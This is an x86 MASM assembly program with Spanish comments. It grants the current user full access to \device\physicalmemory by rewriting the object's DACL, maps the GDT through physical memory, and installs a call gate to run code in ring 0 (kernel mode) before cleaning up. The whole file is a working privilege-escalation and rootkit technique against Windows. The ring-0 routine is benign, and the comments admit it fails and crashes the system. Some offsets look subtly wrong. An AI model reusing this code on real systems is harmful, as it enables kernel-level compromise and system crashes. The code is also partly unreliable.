.386p
.model flat,stdcall
option casemap :none
include windows.inc
include user32.inc
include kernel32.inc
include advapi32.inc
includelib user32.lib
includelib kernel32.lib
includelib advapi32.lib
;*********************************************************************************************
; Includes Extra
;*********************************************************************************************
include ntdll.inc
includelib ntdll.lib
;_____________________________________________________________________________________________
; Variables
;_____________________________________________________________________________________________
.data
d1 db 'Hola desde Ring0',0
.data?
align dword
dacl dd ?
nexp dd ?
hPhysicMem dd ?
pSecuDescript dd ?
pOldDacl dd ?
pNewDacl dd ?
unicode_str dw ? ;UNICODE_STRING{ USHORT Length
dw ? ; USHORT MaxLength
dd ? ; PWSTR Buffer };
obj_attrib dd ? ;OBJECT_ATTRIBUTES{ ULONG Length
dd ? ; HANDLE RootDirectory
dd ? ; UNICODE_STRING* ObjectName
dd ? ; ULONG Attributes
dd ? ; VOID* SecurityDescriptor
dd ? ; VOID* SecurityQualityOfService };
Exp_Access dd ? ;EXPLICIT_ACCESS{ DWORD grfAccessPermissions
dd ? ; ACCESS_MODE grfAccessMode
dd ? ; DWORD grfInheritance
; TRUSTEE Trustee };
dd ? ;TRUSTEE{ TRUSTEE* pMultipleTrustee
dd ? ; MULTIPLE_TRUSTEE_OPERATION MultipleTrusteeOperation
dd ? ; TRUSTEE_FORM TrusteeForm
dd ? ; TRUSTEE_TYPE TrusteeType
dd ? ; LPSTR ptstrName };
gdt dw ? ;KGDTENTRY{ WORD LimitLow
dw ? ; WORD BaseLow
dw ? ; WORD BaseHigh };
pad1 dw ?
pAddrgdt dq ? ;PHYSICAL_ADDRESS
Callgate dq ? ; PHYSICAL_ADDRESS pAddress
dd ? ; VOID* MappedAddress
dd ? ; CALLGATE_DESC* pDesc
dw ? ; WORD Segment
dw ? ; WORD LastEntry
ViewSize dd ?
CgCall df ?
pad2 dw ?
udevname db 62 dup(?)
buff db ?
hout dd ?
hin dd ?
.const
modname db "Ring0",0
err1 db "error",0
err2 db "error : Acceso Denegado",0
devname db "\device\physicalmemory",0
user db "CURRENT_USER",0
;_____________________________________________________________________________________________
.code
Start:
;_____________________________________________________________________________________________
;push 30
invoke MultiByteToWideChar,CP_ACP,MB_PRECOMPOSED,addr devname,-1,addr udevname,30
.IF eax == 0
invoke MessageBox,NULL,addr err1,addr modname,MB_OK
jmp fin
.ENDIF
invoke RtlInitUnicodeString,addr unicode_str,addr udevname
mov ebx,offset obj_attrib
mov dword ptr [ebx],24 ; sizeof de (OBJECT_ATTRIBUTES)
mov dword ptr [ebx+4],NULL
mov dword ptr [ebx+8],offset unicode_str
mov dword ptr [ebx+12],OBJ_CASE_INSENSITIVE
or dword ptr [ebx+12],OBJ_KERNEL_HANDLE
mov dword ptr [ebx+16],NULL
mov dword ptr [ebx+2],NULL
mov edx,SECTION_MAP_READ
or edx,SECTION_MAP_WRITE
invoke NtOpenSection,addr hPhysicMem,edx,ebx
.IF eax != ERROR_SUCCESS
.IF eax == 0C000022h
jmp needrw
.ELSE
invoke MessageBox,NULL,addr err1,addr modname,MB_OK
jmp fin
.ENDIF
.ELSE
mov pOldDacl,NULL
jmp rw
.ENDIF
needrw: mov edx,WRITE_DAC
or edx,READ_CONTROL
invoke NtOpenSection,addr hPhysicMem,edx,addr obj_attrib
.IF eax != ERROR_SUCCESS
.IF eax == 0C0000022h
invoke MessageBox,NULL,addr err2,addr modname,MB_OK
jmp fin
.ELSE
invoke MessageBox,NULL,addr err1,addr modname,MB_OK
jmp fin
.ENDIF
.ENDIF
invoke GetSecurityInfo,hPhysicMem,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,addr pOldDacl,NULL,addr pSecuDescript
.IF eax != ERROR_SUCCESS
invoke MessageBox,NULL,addr err1,addr modname,MB_OK
jmp fin
.ENDIF
;invoke GetExplicitEntriesFromAcl,pOldDacl,addr nexp,addr dacl
;mov edx,dacl
;mov edx,[edx+32]
;and edx,2
;cmp edx,2
;je noneed
mov ebx,offset Exp_Access
mov dword ptr [ebx],SECTION_ALL_ACCESS
mov dword ptr [ebx+4],GRANT_ACCESS
mov dword ptr [ebx+8],NO_INHERITANCE
mov dword ptr [ebx+12],NULL
mov dword ptr [ebx+16],NO_MULTIPLE_TRUSTEE
mov dword ptr [ebx+2],TRUSTEE_IS_NAME
mov dword ptr [ebx+24],TRUSTEE_IS_USER
mov dword ptr [ebx+28],offset user
invoke SetEntriesInAcl,1,addr Exp_Access,pOldDacl,addr pNewDacl
.IF eax != ERROR_SUCCESS
invoke MessageBox,NULL,addr err1,addr modname,MB_OK
jmp fin
.ENDIF
invoke SetSecurityInfo,hPhysicMem,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL
.IF eax != ERROR_SUCCESS
invoke MessageBox,NULL,addr err1,addr modname,MB_OK
jmp fin
.ENDIF
invoke LocalFree,pNewDacl
noneed: invoke LocalFree,dacl
invoke LocalFree,pSecuDescript
invoke NtClose,hPhysicMem
mov hPhysicMem,NULL
;______________________________________________________________________________________________________________________
;
; Instalacion de la CallGate
;______________________________________________________________________________________________________________________
mov edx,SECTION_MAP_READ
or edx,SECTION_MAP_WRITE
invoke NtOpenSection,addr hPhysicMem,edx,addr obj_attrib
.IF eax != ERROR_SUCCESS
.IF eax == 0C0000022h
invoke MessageBox,NULL,addr err2,addr modname,MB_OK
jmp fin
.ELSE
invoke MessageBox,NULL,addr err1,addr modname,MB_OK
jmp fin
.ENDIF
.ENDIF
rw: sgdt gdt
mov ebx,offset gdt
movzx eax,word ptr [ebx+2]
movzx edx,word ptr [ebx+4]
shl edx,16
or edx,eax
.IF (edx < 8000000h) || (edx >= 0A0000000h)
and edx,0FFFF000h
.ELSE
and edx,1FFFF000h
.ENDIF
mov ebx,offset pAddrgdt
mov dword ptr [ebx],edx
mov dword ptr [ebx+4],0
mov dword ptr [ebx+8],edx
mov dword ptr [ebx+12],0
push PAGE_READWRITE
push 0
push 1
movzx edx,word ptr gdt
mov ViewSize,edx
push offset ViewSize
mov eax,offset Callgate
push eax
push edx
push 0
add eax,8
push eax
push -1
push hPhysicMem
call NtMapViewOfSection
.IF eax != ERROR_SUCCESS
invoke MessageBox,NULL,addr err1,addr modname,MB_OK
jmp fin
.ENDIF
mov ebx,offset Callgate
mov dx,word ptr gdt
and dx,0FFF8h
mov word ptr [ebx+18],dx
mov dword ptr [ebx+12],NULL
movzx eax,dx
mov ecx,[ebx+8]
add eax,ecx
.WHILE eax > ecx ; Busca un descriptor libre para la callgate en la gdt
mov dl,byte ptr [eax+5] ; Mira si el bit 'ocupado' esta a 0. Si esta a 1
and dl,80h ; , esta ocupada la posicion
jne @f ; y se busca en otro sitio.
mov edx,Ring0
mov word ptr [eax],dx ; inicio de la direccion de la funcion de ring 0
mov word ptr [eax+2],KGDT_R0_CODE
mov byte ptr [eax+4],1 ; Le paso 1 parametro
; El nº de parametro esta codificado
; en los 4 primeros bits del byte, no se pueden pasar mas de 15
; sino me pasaria de bytes
mov byte ptr [eax+5],0ECh
shr edx,16
mov word ptr [eax+6],dx ; final de la direccion de la funcion de ring0
mov dword ptr [ebx+12],eax
jmp fwh
@@: sub eax,8 ; le paso un parametro porque me gustaria llamar
.ENDW ; a GetModuleHandle desde dentro de la funncion
;ring 0
fwh: mov edx,[ebx+12]
.IF edx == NULL ; Encuentro un descriptor libre ? Sino paro.
invoke MessageBox,NULL,addr err1,addr modname,MB_OK
jmp fin
.ENDIF
mov edx,eax
sub edx,[ebx+8]
or dx,3
mov word ptr [ebx+16],dx
;______________________________________________________________________________________________________________________
;
; Llamada de la función Ring0
;______________________________________________________________________________________________________________________
mov eax,offset CgCall
mov dx,word ptr [ebx+16]
mov word ptr [eax+4],dx
mov dword ptr [eax],0
push thend-Ring0
push Ring0
call VirtualLock
call GetCurrentThread
invoke SetThreadPriority,eax,THREAD_PRIORITY_TIME_CRITICAL
invoke Sleep,0
push fs
pop fs
call GetCurrentThread
invoke SetThreadPriority,eax,THREAD_PRIORITY_NORMAL
push thend-Ring0
push Ring0
call VirtualUnlock
;______________________________________________________________________________________________________________________
;
; Limpieza y desinstalacion de la CallGate
;______________________________________________________________________________________________________________________
mov ebx,offset Callgate
mov edi,[ebx+12]
xor eax,eax
stosd
stosd
.IF pOldDacl != NULL
invoke SetSecurityInfo,hPhysicMem,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pOldDacl,NULL
.ENDIF
invoke NtUnmapViewOfSection,-1,dword ptr [ebx+8]
invoke NtClose,hPhysicMem
;______________________________________________________________________________________________________________________
fin: invoke ExitProcess,0
;______________________________________________________________________________________________________________________
;______________________________________________________________________________________________________________________
;
; La funcion que va a "saltar" a modo kernel
; no hace nada, pero cuidado que el sistema puede caerse al mas minimo error
; me dieron algunos pantallazos al programar esto...
;______________________________________________________________________________________________________________________
Ring0 PROC
pushad ; Guardo los registros y flags
pushf
mov ebp,esp ; para restaurar mas tarde la pila
;
mov eax,[ebp+42] ; recupero los parametros en eax
; durante un call, se pushea la direccion de retorno cuando
; es una llamada far, la direccion de retorno incluye CS
; asi que son 8 bytes de la pila (en realidad son 6 bytes)
; Al cambiar de privilegios se pushea :
; ss y esp de la pila de ring 3, la configuracion y entonces cs eip.
; Al entrar al procedimiento el primer parametro
; esta en [esp+8], entonces se calcula lo que se pusheo
; hace tiempo pushad (32), pushf (2) + esp
; 32 + 2+ 8 = 42
; Aqui Cli y Sti funciona pero este code de debajo no y no se el por que.
; No me deja llamara ninguna api
push STD_OUTPUT_HANDLE
call GetStdHandle; obtendre el handle de la consola
mov edi,eax ; copio a hout el handle obtenido
push NULL; nulo
lea eax,buff; buffer de escritura
push eax; meto el buffer en la pila
push 17;longitud del mensaje
lea eax,d1
push eax; meto la cadena en la pila
push edi;meto en la pila el handle
call WriteConsole
popf ; restauro los flags
popad
retf 4 ; ajusto la pila
Ring0 ENDP
thend: ; etiqueta para facilitar el calculo del tamaño de la funcion
;______________________________________________________________________________________________________________________
end Start